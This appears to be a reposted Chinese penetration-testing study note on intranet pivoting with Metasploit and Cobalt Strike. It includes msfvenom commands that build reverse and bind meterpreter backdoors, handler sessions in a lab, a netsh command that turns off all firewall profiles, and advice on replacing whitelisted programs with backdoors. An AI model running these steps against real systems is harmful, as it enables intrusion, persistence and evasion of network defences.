内网代理技术总结

代理技术就是解决外网和内网的通信问题,例如,我的一个外网主机想要找到另外一个网段下的一个内网主机,理论上是无法找到的。如果我们想要进行通信的话就要使用代理技术。我们可以找到一个与目标内网主机在容易网段下可以通信的外网主机,在上面做一个代理转发就可以找到内网主机。

MSF和CS自带模块进行代理转发   

我们可以使用msf的auxiliary/server/socks_proxy模块和cs的建立sock连接模块来建立,建立好连接之后我们将其中的ip和端口信息配置到代理转发软件中,然后将我们的渗透工具添加到代理工具中就可以实现在我们本机对于内网不出网的主机进行测试

MSF模块

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.135 LPORT=9998 -f exe -o /testlyz2/9998.exe

先试用控制主机控制到内网中可以进行外网通信的主机,再使用控制主机的msf控制到目标内网主机,在主机上使用相关模块建立与内网连接的节点信息,建立好节点后,我们在攻击主机上通过代理连接到跳板机上与目标主机进行通信,通信正常后使用渗透工具进行攻击(因为msf建立的里连接只有对msf有效对其他的渗透工具无效)

使用msf模块进行攻击需要进行路由添加

在win7上安装一个节点,安装节点的目的就是使用节点去访问不能访问的内网主机,因为在内网环境中,目标主机没有出网路由就是我们不法与目标主机建立连接,如果想要进行渗透测试的话就需要在win7上安装渗透测试工具进行测试,显然这样做不显示,为了可以在本机上进行渗透测试我们就需要使用代理节点来进行连接无法连接的内网主机

使用msf模块在已经windows7上面建立一个网络的连接节点

添加路由(PS:msf要添加路由 cs不需要添加路由)

使用这个语句进行添加路由

添加已有之后就可以和本地的198网段进行通讯,做完这一步cs就可以直接和内网主机进行通信,但是其他应用程序还是不可以通信,这是因为其他工具不享有这个路由

建立节点--建立一个服务器去连接内网主机(和扶墙一个原理)

在一个和此内网主机不互联的外网主机使用代理工具,连接我们控制主机建立的节点服务器

在msf中use auxiliary/server/socks_proxy这个模块设置代理

设置好代理后在攻击机上使用工具去连接这个代理(SocketsCap)

设置好代理后就检测代理的联通性

在节点主机上通过工具建立连接去连接节点服务器

绑定应用服务就可以访问到内网主机中的资源信息

CS模块

不用添加路由

先使用cs作为一个后门,使用cs进行连接上线

然后点击目标右击建立socket代理

将代理的服务端口记录下来配置到攻击主机的代理服务器上即可

检测网络的联通性

我们控制一个主机一般是使用cs或者是msf,一般情况下如果是cmd权限的话对于后期操作不方便,也需要将权限转移到cs或者msf上面

然后配置代理选项

最后我们就可以通过工具对于不出网的主机进行正常的流量连接并进行渗透测试

CS和MSF控制上线--正向连接
CS模块

在实战情况下我们在内网环境下会遇到主机没有网络也即不出网的问题。为此我们需要使用和其在同一个网段下的主机对其进行正向主动连接--正向连接

正反向连接

正向:后门执行后将数据传递给本地的2222端口,控制器连接主机的2222端口

反向:后门执行后将数据传递给控制主机的2222端口,控制器监听自己的2222端口

由于内网的主机没有出网的接口。因此不可以使用反向连接,为此只能使主机连接本地的2222端口,然后使用跳板机去连接内网主机的2222端口

正向连接--生成本地后门

案例分析

先生成一个监听本地端口的后门程序

将后门上传到没有网络的内网主机
执行后门后,在控制的跳板机会话中的cs控制台输入connect 192.168.198.207(不出网主机)就会实现上线(我认为这一步体现了正向连接的精髓所在)

查看网络拓扑图

可以看到我们利用跳板机连接到了内网的一台主机

MSF模块

生成blind正向连接的后门

在上一步建立好代理的基础上,我们使用msf生成一个blind正向连接的后门

┌──(root㉿kali)-[~] └─# msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > /testlyz/bendi2.exe 生好后门后在代理中设置对话

先设控制一个受控主机

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run

查看会话信息

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                  Information       Connection
  --  ----  ----                  -----------       ----------
  1         meterpreter x86/wind  LYZ\Lenovo @ LYZ  192.168.198.135:6666 -> 19
            ows                                     2.168.198.1:55989 (192.168
                                                    .198.1)

看到受控主机已经加入session会话

我们在生成一个监听本地端口的本地后门

┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > /testlyz/bendi2.exe
设置监听模块

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set rhost 192.168.198.207
rhost => 192.168.198.207
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
msf6 exploit(multi/handler) > run


[*] Started bind TCP handler against 192.168.198.207:3333
[*] Sending stage (175686 bytes) to 192.168.198.207
[*] Meterpreter session 2 opened (192.168.198.135:46687 -> 192.168.198.207:3333) at 2024-04-13 11:32:51 +0800

设置好然后在目标主机上执行后门上线

如果后期还有不同网段内网主机需要上线,我们可以采取相同的操作(方法一模一样)

CS和MSF控制上线--反向连接(以cs为例)

在一般情况下我们对于一个计算机的防火墙配置都是入站较为严格出站较为宽松。为此,当目标主机对于入站规则做了较为严格的限制,我们只能进行反向连接

在内网主机中有的内网主机

在内网主机上的防火墙做了限制

内网主机只开放了80端口的服务,只允许外部流量访问本地的80端口

设置之后只允许访问本地的80 web流量端口

使用流量转发上线

在跳板主机上选择代理转发执行转发上线,在控制的内网主机上使用代理转发,将转发的ip地址改为和内网主机同一网段下的IP地址,生成的后门直接上线

对于数据的转发上线是有两个步骤的,分别是转发和接收,为此,我们需要利用跳板机去接收这个流量,为此就在cs上面使用转发上线

我们在本地做个实验

我们的内网主机无法访问外面的网络

我们先使用kali攻击机控制到了我们的主机,主机通过正向连接控制到了一台内网主机(环境没做默认不出网)

我们先使用攻击主机控制到了一台跳板主机

然后使用正向连接控制到了内网的一台主机(使用上节课的知识点,先在受控主机上建立socket转发,然后生成一个绑定本地端口的后门 然后在交互端使用connect指令去连接内网的主机即可实现上线)

然后在这台主机上我们使用反向是的内网中的另外一台主机去连接我们的这台受控主机

生成一个绑定需要反向连接主机的一个监听器并且设置端口

用stageless exe生成器去生成一个后门

在目标主机上执行后门就可以直接上线

我们使用1会话作为跳板实现了2会话的上线,解决了网络出站限制的通讯问题

其他思路--防火墙关闭-规则删除-白名单替换

关闭防火墙

关闭防火墙的开关就是 关闭防火墙就防火墙就没有作用了(但是一般是内网主机不是域控主机权限的话无权对服务器的开关进行操作)

使用命令直接删除某一条防火墙命令

白名单替换

在安装某些软件的时候它会提示我们允许通过白名单,将我们的后门程序替换掉 原理允许的程序

我们可以将后门程序相同的目录下使用相同的名字进行替换,那么我们的后门程序就享有这个程序的防火墙白名单权限

但是这种方式需要我们本身取得较高的主机权限

内网权限 内网域权限

域内主机的防火墙权限是由域控统一进行配置管理,如果我们获得域内主机往往不具有删除防火墙策略,修改防火墙白名单程序的权限,这种方法不适用,内网主机适用,域控成员主机无法进行这种操作

删除防火墙规则

内网环境(非域内环境)

默认状况下防火墙的策略肯定是打开的,但是我们使用netsh advfirewall set allprofiles state off就可以关闭所有的防火墙策略


还有一种情况计算机使用的防火墙是一些商业产品,这种防火墙的关闭就要依据厂商的规则进行操作术

补充--cs插件实现Linux主机上线

cs本身不支持linux主机上线,我们需要下载插件

Releases · gloxec/CrossC2 (github.com)icon-default.png?t=N7T8https://github.com/gloxec/CrossC2/releases

加载插件到cs中

然后选择反向上线

那个keys文件是一个隐藏文件,在我们安装插件的时候已经安装好了

更改路径在在Linux中相对应的文件中执行这个目录就会成一个t_cc2.out的文件

将这个文件保存下来在目标直接上执行这个文件就会实现上线

但是我这个插件加载有点问题,少了一些提权的项目

写在最后

如有错误,请及时指出,谢谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/553658.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Android 12 如何加载 native 原生库

在 Android 7.0 及更高版本中,系统库与应用库是分开的。 图1. 原生库的命名空间 原生库的命名空间可防止应用使用私有平台的原生 API(例如使用 OpenSSL)。该命名空间还可以避免应用意外使用平台库(而非它们自己的库)的…

LangChain入门:22.使用 arXiv 工具开发科研助理

有一些工具,比如 SerpAPI,你已经用过了,这里我们再来用一下 arXiv 工具。arXiv 本身就是一个论文研究的利器,里面的论文数量比 AI 顶会还早、还多、还全。那么把它以工具的形式集成到 LangChain 中,能让你在研究学术最…

高精度PWM脉宽调制信号转模拟信号隔离变送器1Hz-10KHz转0-5V/0-10V/1-5V,0-10mA/0-20mA/4-20mA

主要特性: >>精度等级:0.1级。产品出厂前已检验校正,用户可以直接使用 >>辅助电源:8-32V 宽范围供电 >>PWM脉宽调制信号输入: 1Hz~10KHz >>输出标准信号:0-5V/0-10V/1-5V,0-10mA/0-20mA/4-20mA等&…

动手写sql 《牛客网80道sql》

第1章:SQL编写基础逻辑和常见问题 基础逻辑 SELECT语句: 选择数据表中的列。FROM语句: 指定查询将要从哪个表中检索数据。WHERE语句: 过滤条件,用于提取满足特定条件的记录。GROUP BY语句: 对结果进行分组。HAVING语句: 对分组后的结果进行条件过滤。O…

根据 Figma 设计稿自动生成 Python GUI | 开源日报 No.221

ParthJadhav/Tkinter-Designer Stars: 8.0k License: BSD-3-Clause Tkinter-Designer 是一个用于快速创建 Python GUI 的工具,通过使用 Figma 设计软件,可以轻松地生成美观的 Tkinter GUI。 主要功能和优势包括: 拖放界面设计比手写代码更快…

Computer Organization/Architecture 计算机组织/架构/结构 重要观念和笔记(陆续更新中,2024/04/17周三,已更新)

前情提要:我的说法比较白话,希望可以更好理解其中一些观念,这篇会以中文为主,专有名词还是用英文,好吧应该会中英穿插,自己学的时候感觉听中文会吸收比较快,也可能是我英文比较烂的关系&#xf…

每日算法4/17

1552. 两球之间的磁力 题目 在代号为 C-137 的地球上,Rick 发现如果他将两个球放在他新发明的篮子里,它们之间会形成特殊形式的磁力。Rick 有 n 个空的篮子,第 i 个篮子的位置在 position[i] ,Morty 想把 m 个球放到这些篮子里&…

点击广告就能日赚收益1000+?开发一款看广告赚收益的APP靠谱吗?

APP对接广告变现是开发者获得收益的重要方式之一,对一些体量较小的APP来说,甚至是唯一的收益来源。开发者是否可以单独开发一款全是广告的APP,拿出一部分的广告收益给点击者,类似在快手极速版里看广告获得金币一个原理&#xff0c…

聚观早报 | 小度推出DuerOS X;问界新M5开启预定

聚观早报每日整理最值得关注的行业重点事件,帮助大家及时了解最新行业动态,每日读报,就读聚观365资讯简报。 整理丨Cutie 4月18日消息 小度推出DuerOS X 问界新M5开启预定 库克访问印尼 方程豹产品矩阵正式发布 苹果折叠屏iPhone新专利…

ESP-IDF下载与安装完整流程

本文主要看参考官网说明,如下: Windows 平台工具链的标准设置 - ESP32 - — ESP-IDF 编程指南 latest 文档 (espressif.com) 一、概述 ESP-IDF需要安装一些必备工具,才能围绕ESP32构建固件,包括: PythonGit交叉编译…

steam加速器哪个好 2024最新steam好用加速器推荐

steam加速器哪个好 2024最新steam好用加速器推荐 对于热爱游戏的玩家们来说,steam这个游戏平台对于大家来说肯定不陌生,但是由于平台服务器的原因,我们在大陆登录平台经常会出现卡顿掉线等原因,那么今天小编就为大家带来可以流畅…

Redis入门到通关之解决Redis缓存一致性问题

文章目录 ☃️概述☃️数据库和缓存不一致采用什么方案☃️代码实现☃️其他 ☃️概述 由于我们的 缓存的数据源来自于数据库, 而数据库的 数据是会发生变化的, 因此,如果当数据库中 数据发生变化,而缓存却没有同步, 此时就会有 一致性问题存在, 其后果是: 用户使用缓存中的过…

python-使用bottle时间简易服务器

python-使用bottle时间简易服务器 背景调试读取文本所有内容字段解释json字符串解析追加写入文件 整理后整理后写入文件方法将目录下所有文本的内容批量追加到一个文本搜索字符串方法实现简易服务器通过浏览器访问 背景 202310.txt内容是一段json字符串,目的是通过…

MySQL连接查询之等值连接

连接查询 又称多表查询,当查询结果来自多张数据表的时候,就需要用到连接查询。 建一个新库包含两张表实验(ta:id,age字段,tb:id,name,ta_id): …

基于SpringBoot的“人职匹配推荐系统”的设计与实现(源码+数据库+文档+PPT)

基于SpringBoot的“人职匹配推荐系统”的设计与实现(源码数据库文档PPT) 开发语言:Java 数据库:MySQL 技术:SpringBoot 工具:IDEA/Ecilpse、Navicat、Maven 系统展示 网上商城购物系统结构图 管理员登录界面图 个…

WebKit内核游览器

WebKit内核游览器 基础概念游览器引擎Chromium 浏览器架构Webkit 资源加载这里就不得不提到http超文本传输协议这个概念了: 游览器多线程HTML 解析总结 基础概念 百度百科介绍 WebKit 是一个开源的浏览器引擎,与之相对应的引擎有Gecko(Mozil…

CTFHUB RCE作业

题目地址:CTFHub 完成情况如图: 知识点: preg_match_all 函数 正则匹配函数 int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags PREG_PATTERN_ORDER [, int $offset 0 ]]] )搜索 subject 中…

rust学习(BorrowMut异常)

现象: 编译没有问题,运行时出现: 代码: pub fn do_test() {let v Arc::new(RefCell::new(100));let v1 v.try_borrow_mut().unwrap();let v2 v.try_borrow_mut().unwrap(); } 原因: 一个cell貌似不能同时被借用…

实际案例分享:如何利用上位机优化生产过程

在现代工业生产中,利用上位机进行生产过程优化已成为一种常见的做法。通过实时监控、数据采集和远程控制,上位机可以帮助企业提高生产效率、降低成本,并实现生产过程的自动化和智能化。本文将通过一个实际案例来介绍如何利用上位机优化生产过…

Nature 哈佛新型超材料Metafluid粘度、透明度、弹性可变,可用于编程液压机器人

液体都有“智能”、可编程了? 最近,一种被称为“智能"液体的多功能可编程的新型超材料——Metafluid,登上了Nature。 它由哈佛大学SEAS的研究团队研发,据说可自由调节弹性、光学特性、粘度。 甚至能够在牛顿流体和非牛顿流…